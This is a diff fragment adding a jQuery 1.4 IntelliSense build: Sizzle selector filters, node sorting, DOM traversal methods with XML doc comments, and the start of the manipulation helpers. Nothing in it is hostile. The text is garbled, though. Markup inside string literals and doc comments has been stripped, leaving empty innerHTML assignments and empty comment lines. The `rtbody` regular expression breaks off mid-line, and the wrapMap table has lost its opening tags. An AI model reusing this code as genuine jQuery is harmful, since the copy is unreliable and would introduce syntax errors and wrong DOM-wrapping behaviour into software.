elem.parentNode.selectedIndex; + return elem.selected === true; + }, + parent: function(elem){ + return !!elem.firstChild; + }, + empty: function(elem){ + return !elem.firstChild; + }, + has: function(elem, i, match){ + /// + /// Internal use only; use hasClass('class') + /// + /// + + return !!Sizzle( match[3], elem ).length; + }, + header: function(elem){ + return /h\d/i.test( elem.nodeName ); + }, + text: function(elem){ + return "text" === elem.type; + }, + radio: function(elem){ + return "radio" === elem.type; + }, + checkbox: function(elem){ + return "checkbox" === elem.type; + }, + file: function(elem){ + return "file" === elem.type; + }, + password: function(elem){ + return "password" === elem.type; + }, + submit: function(elem){ + return "submit" === elem.type; + }, + image: function(elem){ + return "image" === elem.type; + }, + reset: function(elem){ + return "reset" === elem.type; + }, + button: function(elem){ + return "button" === elem.type || elem.nodeName.toLowerCase() === "button"; + }, + input: function(elem){ + return /input|select|textarea|button/i.test(elem.nodeName); + } + }, + setFilters: { + first: function(elem, i){ + return i === 0; + }, + last: function(elem, i, match, array){ + return i === array.length - 1; + }, + even: function(elem, i){ + return i % 2 === 0; + }, + odd: function(elem, i){ + return i % 2 === 1; + }, + lt: function(elem, i, match){ + return i < match[3] - 0; + }, + gt: function(elem, i, match){ + return i > match[3] - 0; + }, + nth: function(elem, i, match){ + return match[3] - 0 === i; + }, + eq: function(elem, i, match){ + return match[3] - 0 === i; + } + }, + filter: { + PSEUDO: function(elem, match, i, array){ + var name = match[1], filter = Expr.filters[ name ]; + + if ( filter ) { + return filter( elem, i, match, array ); + } else if ( name === "contains" ) { + return (elem.textContent || elem.innerText || getText([ elem ]) || "").indexOf(match[3]) >= 0; + } else if ( name === "not" ) { + var not = match[3]; + + for ( var i = 0, l = not.length; i < l; i++ ) { + if ( not[i] === elem ) { + return false; + } + } + + return true; + } else { + Sizzle.error( "Syntax error, unrecognized expression: " + name ); + } + }, + CHILD: function(elem, match){ + var type = match[1], node = elem; + switch (type) { + case 'only': + case 'first': + while ( (node = node.previousSibling) ) { + if ( node.nodeType === 1 ) { + return false; + } + } + if ( type === "first" ) { + return true; + } + node = elem; + case 'last': + while ( (node = node.nextSibling) ) { + if ( node.nodeType === 1 ) { + return false; + } + } + return true; + case 'nth': + var first = match[2], last = match[3]; + + if ( first === 1 && last === 0 ) { + return true; + } + + var doneName = match[0], + parent = elem.parentNode; + + if ( parent && (parent.sizcache !== doneName || !elem.nodeIndex) ) { + var count = 0; + for ( node = parent.firstChild; node; node = node.nextSibling ) { + if ( node.nodeType === 1 ) { + node.nodeIndex = ++count; + } + } + parent.sizcache = doneName; + } + + var diff = elem.nodeIndex - last; + if ( first === 0 ) { + return diff === 0; + } else { + return ( diff % first === 0 && diff / first >= 0 ); + } + } + }, + ID: function(elem, match){ + return elem.nodeType === 1 && elem.getAttribute("id") === match; + }, + TAG: function(elem, match){ + return (match === "*" && elem.nodeType === 1) || elem.nodeName.toLowerCase() === match; + }, + CLASS: function(elem, match){ + return (" " + (elem.className || elem.getAttribute("class")) + " ") + .indexOf( match ) > -1; + }, + ATTR: function(elem, match){ + var name = match[1], + result = Expr.attrHandle[ name ] ? + Expr.attrHandle[ name ]( elem ) : + elem[ name ] != null ? + elem[ name ] : + elem.getAttribute( name ), + value = result + "", + type = match[2], + check = match[4]; + + return result == null ? + type === "!=" : + type === "=" ? + value === check : + type === "*=" ? + value.indexOf(check) >= 0 : + type === "~=" ? + (" " + value + " ").indexOf(check) >= 0 : + !check ? + value && result !== false : + type === "!=" ? + value !== check : + type === "^=" ? + value.indexOf(check) === 0 : + type === "$=" ? + value.substr(value.length - check.length) === check : + type === "|=" ? + value === check || value.substr(0, check.length + 1) === check + "-" : + false; + }, + POS: function(elem, match, i, array){ + var name = match[2], filter = Expr.setFilters[ name ]; + + if ( filter ) { + return filter( elem, i, match, array ); + } + } + } +}; + +var origPOS = Expr.match.POS; + +for ( var type in Expr.match ) { + Expr.match[ type ] = new RegExp( Expr.match[ type ].source + /(?![^\[]*\])(?![^\(]*\))/.source ); + Expr.leftMatch[ type ] = new RegExp( /(^(?:.|\r|\n)*?)/.source + Expr.match[ type ].source.replace(/\\(\d+)/g, function(all, num){ + return "\\" + (num - 0 + 1); + })); +} + +var makeArray = function(array, results) { + array = Array.prototype.slice.call( array, 0 ); + + if ( results ) { + results.push.apply( results, array ); + return results; + } + + return array; +}; + +// Perform a simple check to determine if the browser is capable of +// converting a NodeList to an array using builtin methods. +try { + Array.prototype.slice.call( document.documentElement.childNodes, 0 ); + +// Provide a fallback method if it does not work +} catch(e){ + makeArray = function(array, results) { + var ret = results || []; + + if ( toString.call(array) === "[object Array]" ) { + Array.prototype.push.apply( ret, array ); + } else { + if ( typeof array.length === "number" ) { + for ( var i = 0, l = array.length; i < l; i++ ) { + ret.push( array[i] ); + } + } else { + for ( var i = 0; array[i]; i++ ) { + ret.push( array[i] ); + } + } + } + + return ret; + }; +} + +var sortOrder; + +if ( document.documentElement.compareDocumentPosition ) { + sortOrder = function( a, b ) { + if ( !a.compareDocumentPosition || !b.compareDocumentPosition ) { + if ( a == b ) { + hasDuplicate = true; + } + return a.compareDocumentPosition ? -1 : 1; + } + + var ret = a.compareDocumentPosition(b) & 4 ? -1 : a === b ? 0 : 1; + if ( ret === 0 ) { + hasDuplicate = true; + } + return ret; + }; +} else if ( "sourceIndex" in document.documentElement ) { + sortOrder = function( a, b ) { + if ( !a.sourceIndex || !b.sourceIndex ) { + if ( a == b ) { + hasDuplicate = true; + } + return a.sourceIndex ? -1 : 1; + } + + var ret = a.sourceIndex - b.sourceIndex; + if ( ret === 0 ) { + hasDuplicate = true; + } + return ret; + }; +} else if ( document.createRange ) { + sortOrder = function( a, b ) { + if ( !a.ownerDocument || !b.ownerDocument ) { + if ( a == b ) { + hasDuplicate = true; + } + return a.ownerDocument ? -1 : 1; + } + + var aRange = a.ownerDocument.createRange(), bRange = b.ownerDocument.createRange(); + aRange.setStart(a, 0); + aRange.setEnd(a, 0); + bRange.setStart(b, 0); + bRange.setEnd(b, 0); + var ret = aRange.compareBoundaryPoints(Range.START_TO_END, bRange); + if ( ret === 0 ) { + hasDuplicate = true; + } + return ret; + }; +} + +// Utility function for retreiving the text value of an array of DOM nodes +function getText( elems ) { + var ret = "", elem; + + for ( var i = 0; elems[i]; i++ ) { + elem = elems[i]; + + // Get the text from text nodes and CDATA nodes + if ( elem.nodeType === 3 || elem.nodeType === 4 ) { + ret += elem.nodeValue; + + // Traverse everything else, except comment nodes + } else if ( elem.nodeType !== 8 ) { + ret += getText( elem.childNodes ); + } + } + + return ret; +} + +// [vsdoc] The following function has been modified for IntelliSense. +// Check to see if the browser returns elements by name when +// querying by getElementById (and provide a workaround) +(function(){ + // We're going to inject a fake input element with a specified name + // var form = document.createElement("div"), + // id = "script" + (new Date).getTime(); + // form.innerHTML = ""; + + // // Inject it into the root element, check its status, and remove it quickly + // var root = document.documentElement; + // root.insertBefore( form, root.firstChild ); + + // The workaround has to do additional checks after a getElementById + // Which slows things down for other browsers (hence the branching) + // if ( document.getElementById( id ) ) { + Expr.find.ID = function(match, context, isXML){ + if ( typeof context.getElementById !== "undefined" && !isXML ) { + var m = context.getElementById(match[1]); + return m ? m.id === match[1] || typeof m.getAttributeNode !== "undefined" && m.getAttributeNode("id").nodeValue === match[1] ? [m] : undefined : []; + } + }; + + Expr.filter.ID = function(elem, match){ + var node = typeof elem.getAttributeNode !== "undefined" && elem.getAttributeNode("id"); + return elem.nodeType === 1 && node && node.nodeValue === match; + }; + // } + + // root.removeChild( form ); + root = form = null; // release memory in IE +})(); + +// [vsdoc] The following function has been modified for IntelliSense. +(function(){ + // Check to see if the browser returns only elements + // when doing getElementsByTagName("*") + + // Create a fake element + // var div = document.createElement("div"); + // div.appendChild( document.createComment("") ); + + // Make sure no comments are found + // if ( div.getElementsByTagName("*").length > 0 ) { + Expr.find.TAG = function(match, context){ + var results = context.getElementsByTagName(match[1]); + + // Filter out possible comments + if ( match[1] === "*" ) { + var tmp = []; + + for ( var i = 0; results[i]; i++ ) { + if ( results[i].nodeType === 1 ) { + tmp.push( results[i] ); + } + } + + results = tmp; + } + + return results; + }; + // } + + // Check to see if an attribute returns normalized href attributes + // div.innerHTML = ""; + // if ( div.firstChild && typeof div.firstChild.getAttribute !== "undefined" && + // div.firstChild.getAttribute("href") !== "#" ) { + Expr.attrHandle.href = function(elem){ + return elem.getAttribute("href", 2); + }; + // } + + div = null; // release memory in IE +})(); + +if ( document.querySelectorAll ) { + (function(){ + var oldSizzle = Sizzle, div = document.createElement("div"); + div.innerHTML = "

    "; + + // Safari can't handle uppercase or unicode characters when + // in quirks mode. + if ( div.querySelectorAll && div.querySelectorAll(".TEST").length === 0 ) { + return; + } + + Sizzle = function(query, context, extra, seed){ + context = context || document; + + // Only use querySelectorAll on non-XML documents + // (ID selectors don't work in non-HTML documents) + if ( !seed && context.nodeType === 9 && !isXML(context) ) { + try { + return makeArray( context.querySelectorAll(query), extra ); + } catch(e){} + } + + return oldSizzle(query, context, extra, seed); + }; + + for ( var prop in oldSizzle ) { + Sizzle[ prop ] = oldSizzle[ prop ]; + } + + div = null; // release memory in IE + })(); +} + +(function(){ + var div = document.createElement("div"); + + div.innerHTML = "
    "; + + // Opera can't find a second classname (in 9.6) + // Also, make sure that getElementsByClassName actually exists + if ( !div.getElementsByClassName || div.getElementsByClassName("e").length === 0 ) { + return; + } + + // Safari caches class attributes, doesn't catch changes (in 3.2) + div.lastChild.className = "e"; + + if ( div.getElementsByClassName("e").length === 1 ) { + return; + } + + Expr.order.splice(1, 0, "CLASS"); + Expr.find.CLASS = function(match, context, isXML) { + if ( typeof context.getElementsByClassName !== "undefined" && !isXML ) { + return context.getElementsByClassName(match[1]); + } + }; + + div = null; // release memory in IE +})(); + +function dirNodeCheck( dir, cur, doneName, checkSet, nodeCheck, isXML ) { + for ( var i = 0, l = checkSet.length; i < l; i++ ) { + var elem = checkSet[i]; + if ( elem ) { + elem = elem[dir]; + var match = false; + + while ( elem ) { + if ( elem.sizcache === doneName ) { + match = checkSet[elem.sizset]; + break; + } + + if ( elem.nodeType === 1 && !isXML ){ + elem.sizcache = doneName; + elem.sizset = i; + } + + if ( elem.nodeName.toLowerCase() === cur ) { + match = elem; + break; + } + + elem = elem[dir]; + } + + checkSet[i] = match; + } + } +} + +function dirCheck( dir, cur, doneName, checkSet, nodeCheck, isXML ) { + for ( var i = 0, l = checkSet.length; i < l; i++ ) { + var elem = checkSet[i]; + if ( elem ) { + elem = elem[dir]; + var match = false; + + while ( elem ) { + if ( elem.sizcache === doneName ) { + match = checkSet[elem.sizset]; + break; + } + + if ( elem.nodeType === 1 ) { + if ( !isXML ) { + elem.sizcache = doneName; + elem.sizset = i; + } + if ( typeof cur !== "string" ) { + if ( elem === cur ) { + match = true; + break; + } + + } else if ( Sizzle.filter( cur, [elem] ).length > 0 ) { + match = elem; + break; + } + } + + elem = elem[dir]; + } + + checkSet[i] = match; + } + } +} + +var contains = document.compareDocumentPosition ? function(a, b){ + /// + /// Check to see if a DOM node is within another DOM node. + /// + /// + /// The DOM element that may contain the other element. + /// + /// + /// The DOM node that may be contained by the other element. + /// + /// + + return a.compareDocumentPosition(b) & 16; +} : function(a, b){ + /// + /// Check to see if a DOM node is within another DOM node. + /// + /// + /// The DOM element that may contain the other element. + /// + /// + /// The DOM node that may be contained by the other element. + /// + /// + + return a !== b && (a.contains ? a.contains(b) : true); +}; + +var isXML = function(elem){ + /// + /// Determines if the parameter passed is an XML document. + /// + /// The object to test + /// True if the parameter is an XML document; otherwise false. + + // documentElement is verified for cases where it doesn't yet exist + // (such as loading iframes in IE - #4833) + var documentElement = (elem ? elem.ownerDocument || elem : 0).documentElement; + return documentElement ? documentElement.nodeName !== "HTML" : false; +}; + +var posProcess = function(selector, context){ + var tmpSet = [], later = "", match, + root = context.nodeType ? [context] : context; + + // Position selectors must be done after the filter + // And so must :not(positional) so we move all PSEUDOs to the end + while ( (match = Expr.match.PSEUDO.exec( selector )) ) { + later += match[0]; + selector = selector.replace( Expr.match.PSEUDO, "" ); + } + + selector = Expr.relative[selector] ? selector + "*" : selector; + + for ( var i = 0, l = root.length; i < l; i++ ) { + Sizzle( selector, root[i], tmpSet ); + } + + return Sizzle.filter( later, tmpSet ); +}; + +// EXPOSE +jQuery.find = Sizzle; +jQuery.expr = Sizzle.selectors; +jQuery.expr[":"] = jQuery.expr.filters; +jQuery.unique = Sizzle.uniqueSort; +jQuery.getText = getText; +jQuery.isXMLDoc = isXML; +jQuery.contains = contains; + +return; + +window.Sizzle = Sizzle; + +})(); +var runtil = /Until$/, + rparentsprev = /^(?:parents|prevUntil|prevAll)/, + // Note: This RegExp should be improved, or likely pulled from Sizzle + rmultiselector = /,/, + slice = Array.prototype.slice; + +// Implement the identical functionality for filter and not +var winnow = function( elements, qualifier, keep ) { + if ( jQuery.isFunction( qualifier ) ) { + return jQuery.grep(elements, function( elem, i ) { + return !!qualifier.call( elem, i, elem ) === keep; + }); + + } else if ( qualifier.nodeType ) { + return jQuery.grep(elements, function( elem, i ) { + return (elem === qualifier) === keep; + }); + + } else if ( typeof qualifier === "string" ) { + var filtered = jQuery.grep(elements, function( elem ) { + return elem.nodeType === 1; + }); + + if ( isSimple.test( qualifier ) ) { + return jQuery.filter(qualifier, filtered, !keep); + } else { + qualifier = jQuery.filter( qualifier, filtered ); + } + } + + return jQuery.grep(elements, function( elem, i ) { + return (jQuery.inArray( elem, qualifier ) >= 0) === keep; + }); +}; + +jQuery.fn.extend({ + find: function( selector ) { + /// + /// Searches for all elements that match the specified expression. + /// This method is a good way to find additional descendant + /// elements with which to process. + /// All searching is done using a jQuery expression. The expression can be + /// written using CSS 1-3 Selector syntax, or basic XPath. + /// Part of DOM/Traversing + /// + /// + /// + /// An expression to search with. + /// + /// + + var ret = this.pushStack( "", "find", selector ), length = 0; + + for ( var i = 0, l = this.length; i < l; i++ ) { + length = ret.length; + jQuery.find( selector, this[i], ret ); + + if ( i > 0 ) { + // Make sure that the results are unique + for ( var n = length; n < ret.length; n++ ) { + for ( var r = 0; r < length; r++ ) { + if ( ret[r] === ret[n] ) { + ret.splice(n--, 1); + break; + } + } + } + } + } + + return ret; + }, + + has: function( target ) { + /// + /// Reduce the set of matched elements to those that have a descendant that matches the + /// selector or DOM element. + /// + /// + /// A string containing a selector expression to match elements against. + /// + /// + + var targets = jQuery( target ); + return this.filter(function() { + for ( var i = 0, l = targets.length; i < l; i++ ) { + if ( jQuery.contains( this, targets[i] ) ) { + return true; + } + } + }); + }, + + not: function( selector ) { + /// + /// Removes any elements inside the array of elements from the set + /// of matched elements. This method is used to remove one or more + /// elements from a jQuery object. + /// Part of DOM/Traversing + /// + /// + /// A set of elements to remove from the jQuery set of matched elements. + /// + /// + + return this.pushStack( winnow(this, selector, false), "not", selector); + }, + + filter: function( selector ) { + /// + /// Removes all elements from the set of matched elements that do not + /// pass the specified filter. This method is used to narrow down + /// the results of a search. + /// }) + /// Part of DOM/Traversing + /// + /// + /// + /// A function to use for filtering + /// + /// + + return this.pushStack( winnow(this, selector, true), "filter", selector ); + }, + + is: function( selector ) { + /// + /// Checks the current selection against an expression and returns true, + /// if at least one element of the selection fits the given expression. + /// Does return false, if no element fits or the expression is not valid. + /// filter(String) is used internally, therefore all rules that apply there + /// apply here, too. + /// Part of DOM/Traversing + /// + /// + /// + /// The expression with which to filter + /// + + return !!selector && jQuery.filter( selector, this ).length > 0; + }, + + closest: function( selectors, context ) { + /// + /// Get a set of elements containing the closest parent element that matches the specified selector, the starting element included. + /// + /// + /// A string containing a selector expression to match elements against. + /// + /// + /// A DOM element within which a matching element may be found. If no context is passed + /// in then the context of the jQuery set will be used instead. + /// + /// + + if ( jQuery.isArray( selectors ) ) { + var ret = [], cur = this[0], match, matches = {}, selector; + + if ( cur && selectors.length ) { + for ( var i = 0, l = selectors.length; i < l; i++ ) { + selector = selectors[i]; + + if ( !matches[selector] ) { + matches[selector] = jQuery.expr.match.POS.test( selector ) ? + jQuery( selector, context || this.context ) : + selector; + } + } + + while ( cur && cur.ownerDocument && cur !== context ) { + for ( selector in matches ) { + match = matches[selector]; + + if ( match.jquery ? match.index(cur) > -1 : jQuery(cur).is(match) ) { + ret.push({ selector: selector, elem: cur }); + delete matches[selector]; + } + } + cur = cur.parentNode; + } + } + + return ret; + } + + var pos = jQuery.expr.match.POS.test( selectors ) ? + jQuery( selectors, context || this.context ) : null; + + return this.map(function( i, cur ) { + while ( cur && cur.ownerDocument && cur !== context ) { + if ( pos ? pos.index(cur) > -1 : jQuery(cur).is(selectors) ) { + return cur; + } + cur = cur.parentNode; + } + return null; + }); + }, + + // Determine the position of an element within + // the matched set of elements + index: function( elem ) { + /// + /// Searches every matched element for the object and returns + /// the index of the element, if found, starting with zero. + /// Returns -1 if the object wasn't found. + /// Part of Core + /// + /// + /// + /// Object to search for + /// + + if ( !elem || typeof elem === "string" ) { + return jQuery.inArray( this[0], + // If it receives a string, the selector is used + // If it receives nothing, the siblings are used + elem ? jQuery( elem ) : this.parent().children() ); + } + // Locate the position of the desired element + return jQuery.inArray( + // If it receives a jQuery object, the first element is used + elem.jquery ? elem[0] : elem, this ); + }, + + add: function( selector, context ) { + /// + /// Adds one or more Elements to the set of matched elements. + /// Part of DOM/Traversing + /// + /// + /// A string containing a selector expression to match additional elements against. + /// + /// + /// Add some elements rooted against the specified context. + /// + /// + + var set = typeof selector === "string" ? + jQuery( selector, context || this.context ) : + jQuery.makeArray( selector ), + all = jQuery.merge( this.get(), set ); + + return this.pushStack( isDisconnected( set[0] ) || isDisconnected( all[0] ) ? + all : + jQuery.unique( all ) ); + }, + + andSelf: function() { + /// + /// Adds the previous selection to the current selection. + /// + /// + + return this.add( this.prevObject ); + } +}); + +// A painfully simple check to see if an element is disconnected +// from a document (should be improved, where feasible). +function isDisconnected( node ) { + return !node || !node.parentNode || node.parentNode.nodeType === 11; +} + +jQuery.each({ + parent: function( elem ) { + var parent = elem.parentNode; + return parent && parent.nodeType !== 11 ? parent : null; + }, + parents: function( elem ) { + return jQuery.dir( elem, "parentNode" ); + }, + next: function( elem ) { + return jQuery.nth( elem, 2, "nextSibling" ); + }, + prev: function( elem ) { + return jQuery.nth( elem, 2, "previousSibling" ); + }, + nextAll: function( elem ) { + return jQuery.dir( elem, "nextSibling" ); + }, + prevAll: function( elem ) { + return jQuery.dir( elem, "previousSibling" ); + }, + siblings: function( elem ) { + return jQuery.sibling( elem.parentNode.firstChild, elem ); + }, + children: function( elem ) { + return jQuery.sibling( elem.firstChild ); + }, + contents: function( elem ) { + return jQuery.nodeName( elem, "iframe" ) ? + elem.contentDocument || elem.contentWindow.document : + jQuery.makeArray( elem.childNodes ); + } +}, function( name, fn ) { + jQuery.fn[ name ] = function( until, selector ) { + var ret = jQuery.map( this, fn, until ); + + if ( !runtil.test( name ) ) { + selector = until; + } + + if ( selector && typeof selector === "string" ) { + ret = jQuery.filter( selector, ret ); + } + + ret = this.length > 1 ? jQuery.unique( ret ) : ret; + + if ( (this.length > 1 || rmultiselector.test( selector )) && rparentsprev.test( name ) ) { + ret = ret.reverse(); + } + + return this.pushStack( ret, name, slice.call(arguments).join(",") ); + }; +}); + +jQuery.fn[ "parentsUntil" ] = function( until, selector ) { + /// + /// Get the ancestors of each element in the current set of matched elements, up to but not + /// including the element matched by the selector. + /// + /// + /// A string containing a selector expression to indicate where to stop matching ancestor + /// elements. + /// + /// + + var fn = function( elem, i, until ) { + return jQuery.dir( elem, "parentNode", until ); + } + + var ret = jQuery.map( this, fn, until ); + + if ( !runtil.test( "parentsUntil" ) ) { + selector = until; + } + + if ( selector && typeof selector === "string" ) { + ret = jQuery.filter( selector, ret ); + } + + ret = this.length > 1 ? jQuery.unique( ret ) : ret; + + if ( (this.length > 1 || rmultiselector.test( selector )) && rparentsprev.test( "parentsUntil" ) ) { + ret = ret.reverse(); + } + + return this.pushStack( ret, "parentsUntil", slice.call(arguments).join(",") ); +}; + +jQuery.fn[ "nextUntil" ] = function( until, selector ) { + /// + /// Get all following siblings of each element up to but not including the element matched + /// by the selector. + /// + /// + /// A string containing a selector expression to indicate where to stop matching following + /// sibling elements. + /// + /// + + var fn = function( elem, i, until ) { + return jQuery.dir( elem, "nextSibling", until ); + } + + var ret = jQuery.map( this, fn, until ); + + if ( !runtil.test( "nextUntil" ) ) { + selector = until; + } + + if ( selector && typeof selector === "string" ) { + ret = jQuery.filter( selector, ret ); + } + + ret = this.length > 1 ? jQuery.unique( ret ) : ret; + + if ( (this.length > 1 || rmultiselector.test( selector )) && rparentsprev.test( "nextUntil" ) ) { + ret = ret.reverse(); + } + + return this.pushStack( ret, "nextUntil", slice.call(arguments).join(",") ); +}; + +jQuery.fn[ "prevUntil" ] = function( until, selector ) { + /// + /// Get all preceding siblings of each element up to but not including the element matched + /// by the selector. + /// + /// + /// A string containing a selector expression to indicate where to stop matching preceding + /// sibling elements. + /// + /// + + var fn = function( elem, i, until ) { + return jQuery.dir( elem, "previousSibling", until ); + } + + var ret = jQuery.map( this, fn, until ); + + if ( !runtil.test( "prevUntil" ) ) { + selector = until; + } + + if ( selector && typeof selector === "string" ) { + ret = jQuery.filter( selector, ret ); + } + + ret = this.length > 1 ? jQuery.unique( ret ) : ret; + + if ( (this.length > 1 || rmultiselector.test( selector )) && rparentsprev.test( "prevUntil" ) ) { + ret = ret.reverse(); + } + + return this.pushStack( ret, "prevUntil", slice.call(arguments).join(",") ); +}; + +jQuery.extend({ + filter: function( expr, elems, not ) { + if ( not ) { + expr = ":not(" + expr + ")"; + } + + return jQuery.find.matches(expr, elems); + }, + + dir: function( elem, dir, until ) { + /// + /// This member is internal only. + /// + /// + + var matched = [], cur = elem[dir]; + while ( cur && cur.nodeType !== 9 && (until === undefined || cur.nodeType !== 1 || !jQuery( cur ).is( until )) ) { + if ( cur.nodeType === 1 ) { + matched.push( cur ); + } + cur = cur[dir]; + } + return matched; + }, + + nth: function( cur, result, dir, elem ) { + /// + /// This member is internal only. + /// + /// + + result = result || 1; + var num = 0; + + for ( ; cur; cur = cur[dir] ) { + if ( cur.nodeType === 1 && ++num === result ) { + break; + } + } + + return cur; + }, + + sibling: function( n, elem ) { + /// + /// This member is internal only. + /// + /// + + var r = []; + + for ( ; n; n = n.nextSibling ) { + if ( n.nodeType === 1 && n !== elem ) { + r.push( n ); + } + } + + return r; + } +}); +var rinlinejQuery = / jQuery\d+="(?:\d+|null)"/g, + rleadingWhitespace = /^\s+/, + rxhtmlTag = /(<([\w:]+)[^>]*?)\/>/g, + rselfClosing = /^(?:area|br|col|embed|hr|img|input|link|meta|param)$/i, + rtagName = /<([\w:]+)/, + rtbody = /"; + }, + wrapMap = { + option: [ 1, "" ], + legend: [ 1, "
    ", "
    " ], + thead: [ 1, "", "
    " ], + tr: [ 2, "", "
    " ], + td: [ 3, "", "
    " ], + col: [ 2, "", "
    " ], + area: [ 1, "", "" ], + _default: [ 0, "", "" ] + }; + +wrapMap.optgroup = wrapMap.option; +wrapMap.tbody = wrapMap.tfoot = wrapMap.colgroup = wrapMap.caption = wrapMap.thead; +wrapMap.th = wrapMap.td; + +// IE can't serialize and